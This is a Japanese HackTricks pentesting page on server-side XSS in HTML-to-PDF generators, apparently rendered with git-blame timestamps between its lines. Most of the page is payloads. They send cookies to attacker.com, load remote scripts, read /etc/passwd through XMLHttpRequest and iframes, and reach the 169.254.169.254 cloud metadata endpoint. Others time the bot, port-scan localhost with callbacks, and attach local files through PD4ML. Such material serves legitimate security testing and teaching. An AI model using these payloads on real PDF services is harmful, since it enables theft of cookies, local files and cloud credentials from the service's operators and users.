2024-02-09 02:33:52 +00:00
# サーバーサイドXSS( ダイナミックPDF)
2022-04-28 16:01:33 +00:00
< details >
2024-02-09 02:33:52 +00:00
< summary > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > を使って、ゼロからヒーローまでAWSハッキングを学ぶ< / summary >
2022-04-28 16:01:33 +00:00
2024-02-06 03:40:01 +00:00
HackTricksをサポートする他の方法:
2024-01-01 20:59:40 +00:00
2024-02-09 02:33:52 +00:00
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASS& HackTricksグッズ** ](https://peass.creator-spring.com )を入手する
2024-02-06 03:40:01 +00:00
- [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
2024-02-09 02:33:52 +00:00
- **💬 [Discordグループ ](https://discord.gg/hRep4RUj7f )**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )をフォローする。
- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
2022-04-28 16:01:33 +00:00
< / details >
2024-02-09 02:33:52 +00:00
## サーバーサイドXSS( ダイナミックPDF)
2020-07-15 15:43:14 +00:00
2024-02-09 02:33:52 +00:00
Webページがユーザーが制御する入力を使用してPDFを作成している場合、PDFを作成している**ボットをだます**ことができ、**任意のJSコードを実行**させることができます。\
したがって、**PDF作成ボットが**いくつかの種類の**HTML** **タグを見つけると** 、それらを**解釈**し、この動作を悪用して**サーバーXSS**を引き起こすことができます。
2023-07-30 23:08:56 +00:00
2024-02-06 03:40:01 +00:00
`<script></script>` タグが常に機能しないことに注意してください。そのため、JSを実行するためには別の方法が必要です( たとえば、`< img ` を悪用する )。\
2024-02-09 02:33:52 +00:00
また、通常の攻撃では、作成されたPDFを**見る/ダウンロードすることができる**ため、JSを介して書いたすべてのものを見ることができます( たとえば、`document.write()`を使用) 。ただし、作成されたPDFを**見ることができない**場合は、おそらく**Webリクエストを送信して情報を抽出する必要がある**でしょう( Blind) 。
2023-07-30 23:08:56 +00:00
2024-02-06 03:40:01 +00:00
### 人気のあるPDF生成
2020-07-15 15:43:14 +00:00
2024-02-09 02:33:52 +00:00
- **wkhtmltopdf** は、HTMLとCSSをPDFドキュメントに変換する能力で知られており、WebKitレンダリングエンジンを利用しています。このツールはオープンソースのコマンドラインユーティリティとして利用可能であり、幅広いアプリケーションで利用できます。
2024-02-06 03:40:01 +00:00
- **TCPDF** は、PHPエコシステム内でPDF生成のための堅牢なソリューションを提供しています。画像、グラフィック、暗号化を処理でき、複雑なドキュメントを作成するための柔軟性を示しています。
- Node.js環境で作業している場合、**PDFKit** は適切な選択肢です。HTMLとCSSから直接PDFドキュメントを生成でき、Webコンテンツと印刷可能な形式の間の橋渡しを提供します。
2024-02-09 02:33:52 +00:00
- Java開発者は、PDF作成だけでなくデジタル署名やフォーム入力などの高度な機能をサポートするライブラリである**iText** を好むかもしれません。包括的な機能セットにより、安全でインタラクティブなドキュメントを生成するのに適しています。
2024-02-06 03:40:01 +00:00
- **FPDF** は、シンプルさと使いやすさで区別される別のPHPライブラリです。広範な機能を必要とせずにPDF生成に取り組む開発者向けに設計されています。
2020-07-15 15:43:14 +00:00
```markup
2021-09-08 08:59:37 +00:00
<!-- Basic discovery, Write somthing -->
2020-07-15 15:43:14 +00:00
< img src = "x" onerror = "document.write('test')" / >
2021-09-08 08:59:37 +00:00
< script > document . write ( JSON . stringify ( window . location ) ) < / script >
< script > document . write ( '<iframe src="' + window . location . href + '"></iframe>' ) < / script >
2020-07-15 15:43:14 +00:00
<!-- Basic blind discovery, load a resource -->
< img src = "http://attacker.com" / >
< img src = x onerror = "location.href='http://attacker.com/?c='+ document.cookie" >
< script > new Image ( ) . src = "http://attacker.com/?c=" + encodeURI ( document . cookie ) ; < / script >
< link rel = attachment href = "http://attacker.com" >
```
2022-10-02 15:25:27 +00:00
### SVG
2021-06-16 09:00:28 +00:00
2024-02-06 03:40:01 +00:00
前述のいずれかのペイロードを、このSVGペイロード内で使用できます。Burpcollabサブドメインにアクセスする1つのiframeと、メタデータエンドポイントにアクセスする別のiframeが例として挙げられています。
2021-06-16 09:00:28 +00:00
```markup
< svg xmlns:xlink = "http://www.w3.org/1999/xlink" version = "1.1" class = "root" width = "800" height = "500" >
2023-07-07 23:42:27 +00:00
< g >
< foreignObject width = "800" height = "500" >
< body xmlns = "http://www.w3.org/1999/xhtml" >
< iframe src = "http://redacted.burpcollaborator.net" width = "800" height = "500" > < / iframe >
< iframe src = "http://169.254.169.254/latest/meta-data/" width = "800" height = "500" > < / iframe >
< / body >
< / foreignObject >
< / g >
2021-06-16 09:00:28 +00:00
< / svg >
2022-04-30 10:09:20 +00:00
< svg width = "100%" height = "100%" viewBox = "0 0 100 100"
2023-07-07 23:42:27 +00:00
xmlns="http://www.w3.org/2000/svg">
< circle cx = "50" cy = "50" r = "45" fill = "green"
id="foo"/>
< script type = "text/javascript" >
// < ![CDATA[
alert(1);
// ]]>
< / script >
2022-04-30 10:09:20 +00:00
< / svg >
2021-06-16 09:00:28 +00:00
```
2024-02-06 03:40:01 +00:00
あなたは[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)で多くの**他のSVGペイロード**を見つけることができます。
2021-06-16 09:00:28 +00:00
2024-01-01 20:59:40 +00:00
### パス開示
2020-07-15 15:43:14 +00:00
```markup
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
< img src = "x" onerror = "document.write(window.location)" / >
< script > document . write ( window . location ) < / script >
```
2023-07-07 23:42:27 +00:00
### 外部スクリプトの読み込み
2020-07-15 15:43:14 +00:00
2024-02-06 03:40:01 +00:00
この脆弱性を悪用する最も確実な方法は、ボットがローカルでコントロールするスクリプトを読み込むように脆弱性を悪用することです。その後、ペイロードをローカルで変更し、ボットが常に同じコードでそれを読み込むようにします。
2020-07-15 15:43:14 +00:00
```markup
< script src = "http://attacker.com/myscripts.js" > < / script >
< img src = "xasdasdasd" onerror = "document.write('<script src=" https: / / attacker . com / test . js " > < / script > ')"/>
```
2023-07-30 23:08:56 +00:00
### ローカルファイルの読み取り / SSRF
2020-07-15 15:43:14 +00:00
2023-07-30 23:08:56 +00:00
{% hint style="warning" %}
2024-02-09 02:33:52 +00:00
例として `file:///etc/passwd` を `http://169.254.169.254/latest/user-data` に変更して、外部のウェブページにアクセスしようとしてください( SSRF) 。
2020-07-15 15:43:14 +00:00
2024-02-09 02:33:52 +00:00
SSRFが許可されている場合でも、興味深いドメインやIPに到達できない場合は、[潜在的なバイパスをチェックするためにこのページを確認してください](../ssrf-server-side-request-forgery/url-format-bypass.md)。
2023-07-30 23:08:56 +00:00
{% endhint %}
2020-07-15 15:43:14 +00:00
```markup
< script >
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
2021-09-08 08:59:37 +00:00
< / script >
```
```markup
< script >
2023-07-07 23:42:27 +00:00
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
2021-09-08 08:59:37 +00:00
< / script >
2020-07-15 15:43:14 +00:00
```
```markup
< iframe src = file:///etc/passwd > < / iframe >
< img src = "xasdasdasd" onerror = "document.write('<iframe src=file:///etc/passwd></iframe>')" / >
< link rel = attachment href = "file:///root/secret.txt" >
2020-11-04 10:26:58 +00:00
< object data = "file:///etc/passwd" >
< portal src = "file:///etc/passwd" id = portal >
2023-07-30 23:08:56 +00:00
< embed src = "file:///etc/passwd>" width = "400" height = "400" >
< style > < i f r a m e s r c = " f i l e : / / / e t c / p a s s w d " >
< img src = 'x' onerror = 'document.write(' < iframe src = file:///etc/passwd > < / iframe > ')'/>& text=& width=500& height=500
< meta http-equiv = "refresh" content = "0;url=file:///etc/passwd" / >
2020-07-15 15:43:14 +00:00
```
2022-07-06 02:55:19 +00:00
```markup
< annotation file = "/etc/passwd" content = "/etc/passwd" icon = "Graph" title = "Attached File: /etc/passwd" pos-x = "195" / >
```
2024-02-06 03:40:01 +00:00
### ボットの遅延
2020-07-15 15:43:14 +00:00
```markup
<!-- Make the bot send a ping every 500ms to check how long does the bot wait -->
< script >
2023-07-07 23:42:27 +00:00
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms` ;
time += 500;
}, 500);
2020-07-15 15:43:14 +00:00
< / script >
< img src = "https://attacker.com/delay" >
```
2023-07-07 23:42:27 +00:00
### ポートスキャン
2020-07-15 15:43:14 +00:00
```markup
<!-- Scan local port and receive a ping indicating which ones are found -->
< script >
const checkPort = (port) => {
2023-07-07 23:42:27 +00:00
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}` ;
});
2020-07-15 15:43:14 +00:00
}
for(let i=0; i< 1000 ; i + + ) {
2023-07-07 23:42:27 +00:00
checkPort(i);
2020-07-15 15:43:14 +00:00
}
< / script >
< img src = "https://attacker.com/startingScan" >
```
2022-10-02 15:25:27 +00:00
### [SSRF](../ssrf-server-side-request-forgery/)
2020-07-15 15:43:14 +00:00
2024-02-06 03:40:01 +00:00
この脆弱性は、スクリプトが外部リソースを読み込むことができるため、SSRFに非常に簡単に変換できます。そのため、単にそれを悪用してみてください( メタデータを読む? ) 。
2020-07-15 15:43:14 +00:00
2024-01-01 20:59:40 +00:00
### 添付ファイル: PD4ML
2022-12-27 12:57:39 +00:00
2024-02-06 03:40:01 +00:00
いくつかのHTML 2 PDFエンジンは、**PD4ML**のように**PDFに添付ファイルを指定**することができます。この機能を悪用して、**PDFに任意のローカルファイルを添付**することができます。\
添付ファイルを開くには、**Firefoxでファイルを開き、ペーパークリップシンボルをダブルクリック**して、添付ファイルを新しいファイルとして**保存**します。\
Burpで**PDFレスポンス**をキャプチャすると、PDF内の添付ファイルが**クリアテキストで表示**されるはずです。
2022-12-27 12:57:39 +00:00
{% code overflow="wrap" %}
```html
<!-- From https://0xdf.gitlab.io/2021/04/24/htb - bucket.html -->
< html > < pd4ml:attachment src = "/etc/passwd" description = "attachment sample" icon = "Paperclip" / > < / html >
```
2024-02-06 03:40:01 +00:00
{% endcode %}
2023-07-07 23:42:27 +00:00
## 参考文献
2020-07-15 15:43:14 +00:00
2023-07-30 23:08:56 +00:00
* [https://lbherrera.github.io/lab/h1415-ctf-writeup.html ](https://lbherrera.github.io/lab/h1415-ctf-writeup.html )
* [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/ ](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/ )
* [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html ](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html )
* [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c ](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c )
2020-07-15 15:43:14 +00:00
2022-04-28 16:01:33 +00:00
< details >
2024-02-06 03:40:01 +00:00
< summary > < strong > ゼロからヒーローまでのAWSハッキングを学ぶ< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < / a > < strong > ! < / strong > < / summary >
2024-01-01 20:59:40 +00:00
HackTricksをサポートする他の方法:
2022-04-28 16:01:33 +00:00
2024-02-06 03:40:01 +00:00
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS& HackTricksスワッグ** ](https://peass.creator-spring.com )を入手する
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
2024-02-09 02:33:52 +00:00
* **💬 [Discordグループ ](https://discord.gg/hRep4RUj7f )**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )を**フォロー**する。
2024-02-06 03:40:01 +00:00
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
2022-04-28 16:01:33 +00:00
< / details >